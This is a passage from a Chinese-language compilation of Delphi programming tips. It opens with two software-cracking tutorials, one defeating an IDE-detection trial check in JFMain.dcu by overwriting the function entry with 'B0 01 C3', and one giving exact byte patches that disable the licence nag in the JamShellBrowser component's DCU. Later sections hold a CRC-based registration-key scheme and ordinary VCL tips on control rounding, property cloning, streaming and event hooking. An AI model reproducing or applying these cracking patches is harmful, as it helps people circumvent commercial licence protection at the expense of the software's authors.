但是不要着急，这个字符串的内容并不重要了。偶然向下翻了一屏，惊喜就会出现：

function JfDelphiIDERunning:System.Boolean;

万万没想到这个程序编写的居然如此明显。现在看一看这个函数的内容，千万别被骗了。

这个函数内嵌一个函数：

function CnvString (AStr:System.AnsiString):System.AnsiString;

这就是负责把刚才我们看到的加密字符串解密的函数。继续向下看，函数的主体调用了

FindWindow，GetWindowText，EnumChildWindows，功能确实符合这个函数的名字。

下面，我们要做的并不是破解 CnvString 函数，因为要想理解这个函数的算法还是有一

些难度的，另外，这个函数是内嵌函数，也就是说，在这个单元的其他地方是不需要这个函

数的。实际上，我们只要修改 JfDelphiIDERunning 的代码，让它只返回 true 就可以了。

如果有汇编语言的基础，这段简单的程序很容易写出来。如果不会汇编语言，也可以很

容易解决这个问题：启动 Delphi ，开始一个新的工程，创建一个单元，创建一个如下的函

数：

function CrackStub:Boolean;

begin

Result:=true;

end;

然后编译程序。用 DeDe 打开这个函数所在的 DCU 文件，获得汇编代码：B0 01 C3 。

下面，我们记录 JfDelphiIDERunning 入口点的代码，应当记录足够长的特征代码，否则

可能在后面的二进制查找中获得多个结果。我记录的入口点代码是：55 8B EC 81 C4 E8 FE FF

FF 53 56 57 33 C0 89 85 E8 FE FF FF 89 85 EC FE FF FF 89 85 F0 FE FF FF 89 85 F4 FE FF FF 89 85

F8 FE FF FF 89 85 FC FE FF FF 。

启动 Ultra Edit ，打开 JFMain.dcu ，使用二进制 / 十六进制寻找功能，搜索记录的特征

代码。找到以后，在此搜索，确认特征代码唯一。下面，把入口点位置的代码修改为我们的

代码。后面的代码我们不需要修改，因为 CPU 执行完 B0 01 C3 就返回了，根本不会继续

执行。修改完毕，保存文件。我们可以使用 Delphi 打开它的 Demo 程序，然后编译，退

出 Delphi ，运行 Demo 程序，程序正常启动。破解成功。

这种对 DCU 文件的破解其实还是有一些限制的：不能使用 BPL 动态程序包。BPL 文

件实际上是可执行文件的结构，破解方法和 DCU 文件有些区别，破解方法不在这里讨论。

（待续）


一个控件破解实例

JamShellBrowser

：mikedeakins, 时间：2001-6-11 11:10:57, ID：561930

shellbrowser.dcu:

85 C0 74 10 6A 00 68 30 01 00 00 E8 00 00 00 00 85 C0 75 18 改为

90 90 90 90 EB

0000009D : 76 EA JBE -22; (0x89)

0000009F : 6A 00 PUSH $00

000000A1 : 68(20 01 00 00 PUSH ShellBrowser{0x37F}+$00000120

000000A6 : E8(00 00 00 00 CALL FindWindow{0x138}

000000AB : 85 C0 TEST EAX,EAX

000000AD : 74 10 JE +16; (0xBF)

000000AF : 6A 00 PUSH $00

000000B1 : 68(30 01 00 00 PUSH ShellBrowser{0x37F}+$00000130

000000B6 : E8(00 00 00 00 CALL FindWindow{0x138}

000000BB : 85 C0 TEST EAX,EAX

000000BD : 75 18 JNE +24; (0xD7)

000000BF : 6A 30 PUSH $30

000000C1 : B9(44 01 00 00 MOV ECX,ShellBrowser{0x37F}+$00000144

000000C6 : BA(54 01 00 00 MOV EDX,ShellBrowser{0x37F}+$00000154

000000CB : A1(00 00 00 00 MOV EAX,DWORD PTR [Application{0xB5}]

000000D0 : 8B 00 MOV EAX,DWORD PTR [EAX]

000000D2 : E8(00 00 00 00 CALL TApplication.MessageBox{0xBB}

000000D7 : 33 C0 XOR EAX,EAX

000000D9 : 5A POP EDX

000000DA : 59 POP ECX

000000DB : 59 POP ECX

000000DC : 64 89 10 MOV DWORD PTR FS:[EAX],EDX

000000DF : 68(EC 00 00 00 PUSH ShellBrowser{0x37F}+$000000EC

这就是带有限制的源代码。还是那个原理，要想判断是不是在 delphi 内，必须使用

FindWindow，这个程序更简单：它显示了消息对话框，你只要用 dede 反汇编，然后

搜索 MessageBox 就可以马上定位到这里，又有 FindWindow，确定无疑。第一部分修

改，原来的意思是跳转到显示对话框的代码，我们不让他跳转，改为 NOP 指令（90）

第二部分是非零跳转到正常执行。好了，我们使用 JMP，让他总是跳转到正常执行。

希望对你有所帮助。 - Mike


一个软件注册的讨论

现在，我有时间去关注软件盗版问题，我将描述一下我的注册方法，希望对你有所帮助。

几年以来，我有过许多的方案，有的简单，有的复杂，其目的都是为了防止软件的非法使用。这些方法包括两种：硬件方法和软件方法。

硬件方法一般是使用并口设备（软件狗）或是不标准的软盘（加密盘）。但我还是喜欢软件的方法！

当然，有很多方法提供注册保护，例如购买第三方保护软件，但是我想尝试开发自己的方法，因为我想弄清楚这个问题。

在讨论之前，我略微提一下我以前使用过的方法。

最稳妥和最不安全的办法是提供两种版本：试用版和完整版。当用户注册了你的软件之后，他们就得到一个url去下载完整版本。完整版

是没有任何限制的，所以软件是否被非法使用就完全依赖于用户的诚实，唯一的约束就是只用注册用户才能得到技术支持。我不使用这

种方法，因为周围有太多的不诚实的用户，会造成注册量太少。

下一个方法是提供用户一个由用户名生成的注册码（公司名可选）。现在软件可以为注册用户使用了。用户可以把软件给其他人使用，

但用户名和公司名是无法修改的。

最后是上一个方法的改良。注册码还是基于版本号，用户可以继续使用老的注册码来进行小的升级，但版本的大改动就需要用户重新注册

了。当然你可以不要用户为版本的升级付费，但这是一个可以选择的方案。

我的办法是在报表上打印和在屏幕上显示最后的用户名和公司名，在证券公司，发票上有程序所打印的公司名，这样即使非法用户有我的

程序，他也无法使用。

现在，问题变成：生成一个基于字符串的唯一值，只要串发生改变，就会引起代码运算出一个不同的值。

解决的办法是使用程序名、用户名、公司名以及版本号作为运算字符串。如果没有输入公司名，就用缺省值代替，这样做的问题是会引起

程序含混。

我是一个电子工程师，在通讯行业里需要一种方法来确定传输的数据是无误的，一般的方法就是crc。crc已经使用了20年，我不知道crc

出现的确切时间，但我知道它一直工作的很好。如果你想知道更多的crc知识，请参考'a painless guide to crc error detection

algorithms'，作者：ross n. williams，下载地址：http://www.ross.net。

因此我使用32位的crc算法得出8位的注册码，有个问题：如果用于运算的字符串没有进行任何的加密就太简单了。所以我使用delphi的加

密过程加密一下字符串，然后用于运算的字符串就足够复杂了。

我没有做完全的测试，只做了局部的测试，但我保证代码是有效的，特别要提醒的是：crc结构是基于polynomial modulo算法的，不要修

改它。

我可能很苯，但我不傻:)。下面的代码不是我所使用的，但这些代码很好的演示了我的注册方法是如何工作的。

现在，让我们看看代码。

请注意：我使用了前缀（camelcase(sic)），以下是定义：

c : 字符型

n : 数字

d : 数据

t : 日期/时间

y : 流通

l : 逻辑型

参数范围：

p : 参数

g : 全局变量

其它的都符合以上规则。

所有的函数和过程都以'ssl'为前缀，以避免与其他函数和过程重名。这个前缀已在delphi prefix register注册。

unit registration;

{------------------------------------------------------------------------------}

interface

uses

sysutils;

function mod95(pnval : integer): integer; forward;

function sslencode(pcname: string; pccompany: string; pcapptitle: string; pcmajor: string): string; forward;

function sslgeneratekey(pcname, pccompany, pcapplication, pcmajor : string) : string; forward;

function sslcrypt(pcstring : pchar; pnseed : integer = 0) : string ; forward

function crcexecute(pcstring : string) : string ; forward;

var

gnkey : integer;

gnsalt : integer;

{------------------------------------------------------------------------------}

implementation

const

null_string = '';

const crctable : array [0..255] of longword =(

$00000000, $77073096, $ee0e612c, $990951ba,

$076dc419, $706af48f, $e963a535, $9e6495a3,

$0edb8832, $79dcb8a4, $e0d5e91e, $97d2d988,

$09b64c2b, $7eb17cbd, $e7b82d07, $90bf1d91,

$1db71064, $6ab020f2, $f3b97148, $84be41de,

$1adad47d, $6ddde4eb, $f4d4b551, $83d385c7,

$136c9856, $646ba8c0, $fd62f97a, $8a65c9ec,

$14015c4f, $63066cd9, $fa0f3d63, $8d080df5,

$3b6e20c8, $4c69105e, $d56041e4, $a2677172,

$3c03e4d1, $4b04d447, $d20d85fd, $a50ab56b,

$35b5a8fa, $42b2986c, $dbbbc9d6, $acbcf940,

$32d86ce3, $45df5c75, $dcd60dcf, $abd13d59,

$26d930ac, $51de003a, $c8d75180, $bfd06116,

$21b4f4b5, $56b3c423, $cfba9599, $b8bda50f,

$2802b89e, $5f058808, $c60cd9b2, $b10be924,

$2f6f7c87, $58684c11, $c1611dab, $b6662d3d,

$76dc4190, $01db7106, $98d220bc, $efd5102a,

$71b18589, $06b6b51f, $9fbfe4a5, $e8b8d433,

$7807c9a2, $0f00f934, $9609a88e, $e10e9818,

$7f6a0dbb, $086d3d2d, $91646c97, $e6635c01,

$6b6b51f4, $1c6c6162, $856530d8, $f262004e,

$6c0695ed, $1b01a57b, $8208f4c1, $f50fc457,

$65b0d9c6, $12b7e950, $8bbeb8ea, $fcb9887c,

$62dd1ddf, $15da2d49, $8cd37cf3, $fbd44c65,

$4db26158, $3ab551ce, $a3bc0074, $d4bb30e2,

$4adfa541, $3dd895d7, $a4d1c46d, $d3d6f4fb,

$4369e96a, $346ed9fc, $ad678846, $da60b8d0,

$44042d73, $33031de5, $aa0a4c5f, $dd0d7cc9,

$5005713c, $270241aa, $be0b1010, $c90c2086,

$5768b525, $206f85b3, $b966d409, $ce61e49f,

$5edef90e, $29d9c998, $b0d09822, $c7d7a8b4,

$59b33d17, $2eb40d81, $b7bd5c3b, $c0ba6cad,

$edb88320, $9abfb3b6, $03b6e20c, $74b1d29a,

$ead54739, $9dd277af, $04db2615, $73dc1683,

$e3630b12, $94643b84, $0d6d6a3e, $7a6a5aa8,

$e40ecf0b, $9309ff9d, $0a00ae27, $7d079eb1,

$f00f9344, $8708a3d2, $1e01f268, $6906c2fe,

$f762575d, $806567cb, $196c3671, $6e6b06e7,

$fed41b76, $89d32be0, $10da7a5a, $67dd4acc,

$f9b9df6f, $8ebeeff9, $17b7be43, $60b08ed5,

$d6d6a3e8, $a1d1937e, $38d8c2c4, $4fdff252,

$d1bb67f1, $a6bc5767, $3fb506dd, $48b2364b,

$d80d2bda, $af0a1b4c, $36034af6, $41047a60,

$df60efc3, $a867df55, $316e8eef, $4669be79,

$cb61b38c, $bc66831a, $256fd2a0, $5268e236,

$cc0c7795, $bb0b4703, $220216b9, $5505262f,

$c5ba3bbe, $b2bd0b28, $2bb45a92, $5cb36a04,

$c2d7ffa7, $b5d0cf31, $2cd99e8b, $5bdeae1d,

$9b64c2b0, $ec63f226, $756aa39c, $026d930a,

$9c0906a9, $eb0e363f, $72076785, $05005713,

$95bf4a82, $e2b87a14, $7bb12bae, $0cb61b38,

$92d28e9b, $e5d5be0d, $7cdcefb7, $0bdbdf21,

$86d3d2d4, $f1d4e242, $68ddb3f8, $1fda836e,

$81be16cd, $f6b9265b, $6fb077e1, $18b74777,

$88085ae6, $ff0f6a70, $66063bca, $11010b5c,

$8f659eff, $f862ae69, $616bffd3, $166ccf45,

$a00ae278, $d70dd2ee, $4e048354, $3903b3c2,

$a7672661, $d06016f7, $4969474d, $3e6e77db,

$aed16a4a, $d9d65adc, $40df0b66, $37d83bf0,

$a9bcae53, $debb9ec5, $47b2cf7f, $30b5ffe9,

$bdbdf21c, $cabac28a, $53b39330, $24b4a3a6,

$bad03605, $cdd70693, $54de5729, $23d967bf,

$b3667a2e, $c4614ab8, $5d681b02, $2a6f2b94,

$b40bbe37, $c30c8ea1, $5a05df1b, $2d02ef8d

);

{------------------------------------------------------------------------------}

function sslencode(pcname, pccompany, pcapptitle, pcmajor: string): string;

begin

{ encrypt the data using the major version number to seed the encryption routine }

sslcrypt(null_string, strtointdef( pcmajor, 0 ));

sslcrypt(pchar( pcapptitle ));

sslcrypt(pchar( pcname ));

result := sslcrypt( pchar( pccompany ));

end;

{------------------------------------------------------------------------------}

function sslcrypt(pcstring : pchar; pnseed : integer = 0) : string ;

var

nstringlen, ncharcount : integer;

ninterim, nchar : byte;

cchar : char;

begin

nstringlen := length( pcstring );

if nstringlen = 0 then

begin

gnkey := pnseed;

gnsalt := pnseed * 100;

end

else

begin

result := '';

for ncharcount := 0 to nstringlen - 1 do

begin

cchar := pcstring[ ncharcount ];

{ only encipher printable characters }

if (( cchar >= ' ' ) and ( cchar <= '~' )) then

begin

gnkey := ( gnkey and $1fffffff ) xor (( gnkey shr 29 ) and $31 );

nchar := byte( cchar );

ninterim := mod95(( gnkey div 95 ) - ( nchar - 32 )) + 32;

inc( gnsalt );

if ( gnsalt >= 20857 ) then

gnsalt := 0;

gnkey := gnkey + gnkey + ( ninterim xor nchar ) + gnsalt;

result := result + char(ninterim);

end;

end;

end;

end;

{------------------------------------------------------------------------------}

function mod95(pnval : integer): integer;

begin

result := pnval;

while ( result >= 9500 ) do

result := result - 9500;

while ( result >= 950 ) do

result := result - 950;

while ( result >= 95 ) do

result := result - 95;

while ( result < 0 ) do

result := result + 95;

end;

{------------------------------------------------------------------------------}

function sslgeneratekey(pcname, pccompany, pcapplication, pcmajor : string) : string;

var

ckey : string;

begin

ckey := pcname + pccompany + pcapplication + pcmajor + sslencode(pcname, pccompany, pcapplication, pcmajor);

result := crcexecute( ckey );

end;

{------------------------------------------------------------------------------}

function crcexecute(pcstring : string) : string ;

var

nx : integer;

ncrcval : longword;

begin

ncrcval := 0;

for nx := 1 to length( pcstring ) do

ncrcval := crctable[byte(ncrcval xor byte(pcstring[nx]))] xor (( ncrcval shr 8 ) and $00ffffff );

result := lowercase( inttohex( ncrcval, 8 ));

end;

{------------------------------------------------------------------------------}

end.

我写了一个注册机以演示如何工作，当然，你应当修改它以适合自己的需要。

要在你的软件里使用我的注册机制，你需要在工程里包括registration.pas unit和所有需要的历程。我的检查方法是从一个ini文件里

读入用户名、公司名以及注册码。如果是空的，软件提示一个对话框以提示用户注册，然后计算出注册码并和用户输入的注册码进行比

较，如果用户确认，将信息保存进ini文件并继续执行。此后，所有涉及用户名和公司名的地方重新得到。如果ini文件里不是空的，我

将计算之以确认是否正确。


让控件的边角圆滑起来？

show controls with rounded corners?

procedure MakeRounded(Control: TWinControl);

var

R: TRect;

Rgn: HRGN;

begin

with Control do

begin

R := ClientRect;

rgn := CreateRoundRectRgn(R.Left, R.Top, R.Right, R.Bottom, 20, 20);

Perform(EM_GETRECT, 0, lParam(@r));

InflateRect(r, - 5, - 5);

Perform(EM_SETRECTNP, 0, lParam(@r));

SetWindowRgn(Handle, rgn, True);

Invalidate;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

// TMemo:

Memo1.BorderStyle := bsNone;

MakeRounded(Memo1);

// TEdit:

Edit2.BorderStyle := bsNone;

MakeRounded(Edit2);

// TPanel:

MakeRounded(Panel1);

// TStaticText:

MakeRounded(StaticText1);

// TForm

Form1.BorderStyle := bsNone;

MakeRounded(Form1);

end;


列出控件所有属性和事件

list all properties, events of a component?

列出控件所有属性和事件？

uses

TypInfo;

procedure ListComponentProperties(Component: TComponent; Strings: TStrings);

var

Count, Size, I: Integer;

List: PPropList;

PropInfo: PPropInfo;

PropOrEvent, PropValue: string;

begin

Count := GetPropList(Component.ClassInfo, tkAny, nil);

Size := Count * SizeOf(Pointer);

GetMem(List, Size);

try

Count := GetPropList(Component.ClassInfo, tkAny, List);

for I := 0 to Count - 1 do

begin

PropInfo := List^[I];

if PropInfo^.PropType^.Kind in tkMethods then

PropOrEvent := 'Event'

else

PropOrEvent := 'Property';

PropValue := VarToStr(GetPropValue(Component, PropInfo^.Name));

Strings.Add(Format('[%s] %s: %s = %s', [PropOrEvent, PropInfo^.Name,

PropInfo^.PropType^.Name, PropValue]));

end;

finally

FreeMem(List);

end;

end;

// Example: List all Properties/Events from Button1 in a TListBox

procedure TForm1.Button1Click(Sender: TObject);

begin

ListComponentProperties(Button1, ListBox1.Items);

end;


克隆属性？

问题的提出（感谢 forgot (让一切随风) 提出这个问题）：

利用Rtti技术，把某一个控件的一些指定的公用的可以在运行期修改的属性赋予另一个同类控件，函数原型如下：

CloneProperty(SourceComp,TargetComp:TComponent;Properties:TStrings):Boolean;

参数：SourceComp:源控件；

TargetComp:目标控件；

Properties:要克隆的属性字符串列表；

Boolean:如果克隆成功返回True,否则为False;

举例：

Properties中的String依次为'Caption','Hint','Left','Tag'

调用：CloneProperty(Button1,Button2,Properties)？

///克隆对象属性，作者：Kingron，特别鸣谢ZsWang！

uses TypInfo;

function CloneProperty(SourceComp, TargetComp: TObject; Properties: array of string): Boolean;

var

i : integer;

begin

Result := True;

try

for i := Low(Properties) to High(Properties) do

begin

if not IsPublishedProp(SourceComp, Properties[I]) then Continue;

if not IsPublishedProp(TargetComp, Properties[I]) then continue;

if PropType(SourceComp, Properties[I]) <> PropType(TargetComp, Properties[I]) then

Continue;

case PropType(SourceComp, Properties[i]) of

tkClass:

SetObjectProp(TargetComp, Properties[i], GetObjectProp(SourceComp, Properties[i]));

tkMethod:

SetMethodProp(TargetComp, Properties[I], GetMethodProp(SourceComp,

Properties[I]));

else

SetPropValue(TargetComp, Properties[i], GetPropValue(SourceComp, Properties[i]));

end;

end;

except

Result := False;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

CloneProperty(Button1, Button2, ['Left', 'Font', 'PopupMenu', 'OnClick']);

ShowMessage('OK');

end;

kingron: How I can copy Whole Object? (10.09.2002 03:45:49)

--------------------------------------------------------------------------------

How I can copy Whole Object? from kingron

Russar ask "How I can copy Whole Object?"

A: Please use CloneProperty2 to do it.

uses

TypInfo;

{ Clone Object! Coder:Kingron }

function CloneProperty2(SourceComp, TargetComp: TObject): Boolean;

var

i : Integer;

Properties : PPropList;

begin

Result := True;

try

for i := 0 to GetPropList(SourceComp, Properties) - 1 do

begin

if LowerCase(Properties[i].Name) = 'name' then continue;///do nothing for "Name".....

if not IsPublishedProp(SourceComp, Properties[I].Name) then Continue;

if not IsPublishedProp(TargetComp, Properties[I].Name) then Continue;

if PropType(SourceComp, Properties[I].Name) <> PropType(TargetComp, Properties[I].Name)

then

Continue;

case PropType(SourceComp, Properties[i].Name) of

tkClass:

SetObjectProp(TargetComp, Properties[i],

GetObjectProp(SourceComp, Properties[i]));

tkMethod:

SetMethodProp(TargetComp, Properties[I], GetMethodProp(SourceComp,

Properties[I]));

else

SetPropValue(TargetComp, Properties[i].Name, GetPropValue(SourceComp,

Properties[i].Name));

end;

end;

except

Result := False;

end;

end;


克隆控件和窗体

clone a Component?

{ This code shows how to clone a TPanel (Panel1)

You can do it with any other component

}

procedure TForm1.Button1Click(Sender: TObject);

var

ms: TMemoryStream;

s: string;

p, temp: TPanel;

x,y: Integer;

begin

ms := TMemoryStream.Create;

try

temp := panel1;

s := panel1.Name;

panel1.Name := '';

try

ms.WriteComponent(temp);

ms.Position := 0;

p := TPanel.Create(Self);

ms.ReadComponent(p);

with p do

begin

x := panel1.Left;

y := panel1.Top;

Inc(x, 5);

Inc(y, 5);

SetBounds(x, y, Width, Height);

Parent := Self;

Name := Format('Panel%d_%d', [x, y]);

end;

finally

temp.Name := s;

panel1 := temp;

end

finally

ms.Free;

end; { finally }

end;

***************************

clone a Form?

procedure TForm1.Button1Click(Sender: TObject);

var

ms: TMemoryStream;

newform: TForm1;

begin

ms := TMemoryStream.Create;

try

ms.WriteComponent(Form1);

newform := TForm1.CreateNew(Application);

ms.Position := 0;

ms.ReadComponent(newform);

{ show the new form. Note that it will appear exactly on top of the

original! You may want to change its Left and Top property to move it

a bit.

Zeigt die neue Form. Die neue Form erscheint genau oberhalb der

original form. Die Left, Top Properties müssen evtl. noch angepasst werden

}

newform.Show;

finally

ms.Free

end;

end;

**********************************

也可以采取下面的方法：

uses

TypInfo;

{ Clone Object! Coder:Kingron }

function CloneProperty2(SourceComp, TargetComp: TObject): Boolean;

var

i : Integer;

Properties : PPropList;

begin

Result := True;

try

for i := 0 to GetPropList(SourceComp, Properties) - 1 do

begin

if LowerCase(Properties[i].Name) = 'name' then continue;

if not IsPublishedProp(SourceComp, Properties[I].Name) then Continue;

if not IsPublishedProp(TargetComp, Properties[I].Name) then Continue;

if PropType(SourceComp, Properties[I].Name) <> PropType(TargetComp, Properties[I].Name)

then

Continue;

case PropType(SourceComp, Properties[i].Name) of

tkClass:

SetObjectProp(TargetComp, Properties[i],

GetObjectProp(SourceComp, Properties[i]));

tkMethod:

SetMethodProp(TargetComp, Properties[I], GetMethodProp(SourceComp,

Properties[I]));

else

SetPropValue(TargetComp, Properties[i].Name, GetPropValue(SourceComp,

Properties[i].Name));

end;

end;

except

Result := False;

end;

end;


控件的动画显示

procedure TForm1.Button1Click(Sender: TObject);

begin

AnimateWindow(Panel1.Handle, 300, AW_HIDE or AW_SLIDE or AW_HOR_POSITIVE);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

AnimateWindow(Panel1.Handle, 300, AW_ACTIVATE or AW_HOR_POSITIVE);

end;


New Page 1

如何把一个控件浮在屏幕上显示？
猛料论坛欢迎大家贴出超级猛料没有包含的新资料，谢谢！

我曾经采用新建一个窗体,将borderstyle设为bsnone;

然后在oncreate事件中加入setwindowspos(handle,hwnd_topmost,left,top,width,height,

swp_noactivate or swp_nosize)

使之处于最上面,这样你就可以加入你想要的东西了在窗体上

效果不错,但要注意控制


移动鼠标到控件

procedure MoveMouseToControl(AControl:TWinControl);

var

rect:trect;

begin

rect:=AControl.BoundsRect;

MapWindowPoints(AControl.Parent.Handle,0,rect,2);

SetCursorPos(rect.Left+(rect.Right-rect.Left) div 2,rect.Top+(rect.Bottom-rect.Top) div 2);

end;


保存控件导文件和从文件中读取控件

saving several controls to one single file?

{

-> Question:

How can I store some TRichEdit components and TEdit Components in a single file?

-> Answer:

Use a filestream and a reader or writer object.

These ease the tasks of writing strings to a binary stream and reading them back.

}

// Save routine

procedure SaveEditcontrols(const FileName: string; const Controls: array of TCustomEdit);

var

fs : TFilestream;

writer : TWriter;

i : Integer;

ss : TStringstream;

begin

fs := TFilestream.Create(FileName, fmCreate);

try

writer := TWriter.Create(fs, 4096);

try

for i := Low(Controls) to High(Controls) do

if Controls[i] is TCustomRichedit then

begin

ss := TStringstream.Create(EmptyStr);

try

with TRichedit(Controls[i]) do

begin

Plaintext := False;

Lines.SaveToStream(ss);

end;

writer.WriteString(ss.Datastring);

finally

ss.Free;

end;

end

else

writer.WriteString(Controls[i].Text);

finally

writer.Free;

end;

finally

fs.Free;

end;

end;

// Load routine

// Lade Routine

procedure LoadEditcontrols(const FileName: string; const Controls: array of TCustomEdit);

var

fs : TFilestream;

reader : Treader;

i : Integer;

ss : TStringstream;

begin

fs := TFilestream.Create(FileName, fmOpenread or fmShareDenyWrite);

try

reader := Treader.Create(fs, 4096);

try

for i := Low(Controls) to High(Controls) do

if Controls[i] is TCustomRichedit then

begin

ss := TStringstream.Create(reader.ReadString);

try

with TRichedit(Controls[i]) do

begin

Plaintext := False;

Lines.LoadfromStream(ss);

end;

finally

ss.Free;

end;

end

else

Controls[i].Text := reader.ReadString;

finally

reader.Free;

end;

finally

fs.Free;

end;

end;

// Example to store 2 TRichEdits and 3 Edit Controls to one file

// Beispiel, um 3 TRichEdits und 3 TEdit Controls in einer Datei zu speichern

procedure TForm1.Button1Click(Sender: TObject);

begin

SaveEditControls('C:\temp\temp.dat',

[richedit1, richedit2, edit1, edit2, edit3]);

end;


控件的最大华、最小化

控件和窗体一样，也可以最大化，最小化，比较搞笑，代码类似下面，适用于Windows标准控件(继承于TWinControl)：

ShowWindow(Button1.Handle,SW_MINIMIZE);


给窗体上面所有的控件都挂上一个事件处理过程

有的时候，我们希望给所有的控件的某个指定的事件挂接一个自定义的事件处理程序，例如，OnContextPopup事件，那么该如何做呢？

请参看下面的代码，下面的代码会给所有有OnContextPopu事件的控件都挂接指定的处理程序：

private

{ Private declarations }

procedure AssignOnContextPopupEvent;

procedure OnContextPopup(Sender: TObject; MousePos: TPoint;

var Handled: Boolean);

public

{ Public declarations }

end;

var

Form1 : TForm1;

implementation

{$R *.dfm}

uses

TypInfo;

procedure TForm1.MonthCalendar1GetMonthInfo(Sender: TObject;

Month: Cardinal; var MonthBoldInfo: Cardinal);

begin

if Month = 9 then { April}

MonthCalendar1.BoldDays([3, 21, 28], MonthBoldInfo); { Day 3, 21, 28 }

end;

procedure TForm1.OnContextPopup(Sender: TObject; MousePos: TPoint;

var Handled: Boolean);

begin

with Sender as TComponent do

ShowMessage(Name + ' right-clicked!');

end;

procedure TForm1.AssignOnContextPopupEvent;

var

i : Integer;

PropInfo : PPropInfo;

Method : TMethod;

PEvent : ^TContextPopupEvent;

begin

for i := 0 to ComponentCount - 1 do

begin

PropInfo := GetPropInfo(Components[i].ClassInfo, 'OnContextPopup');

if (PropInfo <> nil) and (PropInfo^.PropType^^.Kind = tkMethod) then

begin

Method := GetMethodProp(Components[i], PropInfo);

if not Assigned(Method.Code) then

begin

PEvent := @Method.Code;

PEvent^ := OnContextPopup;

Method.Data := Self;

SetMethodProp(Components[i], PropInfo, Method);

end;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

AssignOnContextPopupEvent;

end;

*****************************************

如果要清除所有的事件也可以！

//使用 GetPropCount 可取得控件的的属性计数:

function GetPropCount(Instance: TPersistent): Integer;

var

Data: PTypeData;

begin

Data := GetTypeData(Instance.Classinfo);

Result := Data^.PropCount;

end;

//使用 GetPropName 可取得属性的名称：

function GetPropName(Instance: TPersistent; Index: Integer): string;

var

PropList: PPropList;

PropInfo: PPropInfo;

Data: PTypeData;

begin

Result := '';

Data := GetTypeData(Instance.Classinfo);

GetMem(PropList, Data^.PropCount * Sizeof(PPropInfo));

try

GetPropInfos(Instance.ClassInfo, PropList);

PropInfo := PropList^[Index];

Result := PropInfo^.Name;

finally

FreeMem(PropList, Data^.PropCount * Sizeof(PPropInfo));

end;

end;

procedure CloseForm(Form: TForm);

var

Index: Integer;

src: TPersistent;

SrcPropInfo: PPropInfo;

MyMethod: TMethod;

j: integer;

begin

with Form do

begin

for j := 0 to ComponentCount - 1 do

begin

src := TPersistent(Components[j]);

for Index := 0 to GetPropCount(Src) - 1 do

begin

SrcPropInfo := GetPropInfo(Src.ClassInfo, GetPropName(Src, Index));

if (srcPropInfo <> nil) and (SrcPropInfo^.PropType^.Kind = tkMethod)

then

begin

MyMethod := GetMethodProp(Src, SrcPropInfo);

if (Assigned(MyMethod.Data)) and (Assigned(MyMethod.Code)) then

begin

MyMethod.Data := nil;

MyMethod.Code := nil;

SetMethodProp(Src, SrcPropInfo, MyMethod);

end;

end;

end;

end;

end;

end;


常用类及控件的名字略写

下面是常用类及控件的名字略写，有助于规范编程与理解程序：

Frm Form

Mnu MainMenu, PopupMenu, MenuItem

Lbl Label, DBLabel

Edt Edit, Memo, DBEdit, DBMemo, MaskEdit

Rtf RichEdit

Btn Button (BitBtn, SpeedButton)

Chk CheckBox, DBCheckBox

Opt RadioButton

Lst ListBoxes (e.g. TListBox)

Cbx ComboBoxes (e.g. TComboBox)

Sbr ScrollBar

Grp GroupBox, RadioGroup, DBRadioGroup

Pnl Panel

Tvw TreeView

Lvw ListView

Iml ImageList

Pge PageControl

Trk TrackBar, RzTrackBar

Pbr ProgressBar, RzProgressBar

Sts StatusBar, RzStatusXxx

Key HotKey

Sbx ScrollBox

Tab TabSet, TabControl

Nbk Notebook

Tbk TabbedNotebook

Out Outline

Grd StringGrid, DrawGrid, DBGrid, ColorGrid, DBCtrlGrid

Img Image, DBImage

Pbx PaintBox

Shp Shape

Bvl Bevel

Hdr Header, HeaderControl

Med MediaPlayer

Dbs Database

Tbl Table

Qry Query

Stp StoredProc

Ses Session

Sql UpdateSQL

Src DataSource

Bat BatchMove

Rpt Report

Nav DBNavigator

Dlg Dialog Boxes (e.g. OpenDialog)

Tmr Timer

Ole OleContainer

Dde DDE Controls (e.g. DdeClientConv)

Vbx VBX Controls

Ocx OCX Controls

Gge Guage

Spn SpinButton, UpDown

Cal Calendar


无名称构件的使用

无名称构件的使用

我曾在许多Delphi资料中看到这样的说法：每一个Component都必须有一个不为空的Name，用于和其他Component相区分。过去我也对这种说法深信不疑。但是看过《Mastering Delphi 6》后，我知道我错了。Component的Name属性可以是空的，特别是对于Menu Separator，Static Label，Bevel，Shape和Panel等等。虽然IDE会给所有的构件起一个默认的名称，不过你可以在Object Inspector中把它的Name清空，这样的后果是：

1．构件在Object Inspector和Object TreeView中将变成Unnamed或者Component<0>这样的表示方法；

2．该构件的声明将从Form的声明中完全删除；

3．如果用View As Text看看.DFM文件的定义，发现无名称的Component对象定义为这样的形式：

object : TMenuItem

caption = ‘-’

end

而一般的声明为：

object File1: TMenuItem

caption = ‘File’

end

这个特点的真正好处在于，可以让Form的声明简洁许多，再也不会充斥大量无用的N1,N2之类标识符，从而混淆你的视线。当然，可执行文件的大小也会稍有减少。

不过，假如将Form上面所有Label的Name都设为空，那么运行该程序将产生一个错误，因为编译器看到声明中没有Label，所以不会将TLabel的有关TLabel的库函数连接进来。(编译器在绝大多数时候都很聪明，不过这个时候只能说它是自作聪明。)解决办法是至少保留一个有名字的Label。

我们甚至可以手动将Form中某个Component的声明删除。不用担心，在Form建立起来的时候这个Component不会消失，只是不能够用通常的办法来引用它了。真的有需要的时候，可以用Form1.FindComponent(‘Button1’)这样的方法找到特定的构件。如果Form中的构件实在太多，可以用这个技巧来删除一部分不太重要的声明，保持单元的简洁。

其实，要减少Label声明的数量，用Delphi 6中新增的LabledEdit是一个行之有效的办法，而且LabeledEdit可以简化窗体的布局管理。不过，LabeledEdit只对Edit有效。要减少其他不需要响应事件和处理输入的构件（如Menu Separator，Panel和Bevel等等）的声明，就只能用这种方法。不同于一般的procedure或者function，在Delphi中属于某个类的方法称为method，它们的声明一般为AProcMethod:procedure(Sender:TObject) of object;

为什么一定要加上of object呢？实际上，Object Pascal中一般的函数指针就相当于普通的指针，而AProcMethod则是一个对指针，它在Delphi中有一个对应的类型：TMethod。

TMethod=record

Data, Code:Pointer;

end;

所以，我们在单元中可以这样：

procedure TForm1.Button1Click2(Sender:TObject);

begin

ShowMessage(‘Click2!’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

Method:TMethod;

begin

Method.Data := Self;

Method.Code := MethodAddress(‘Button1Click2’);

Button1.OnClick := TNotifyEvent(Method);

end;

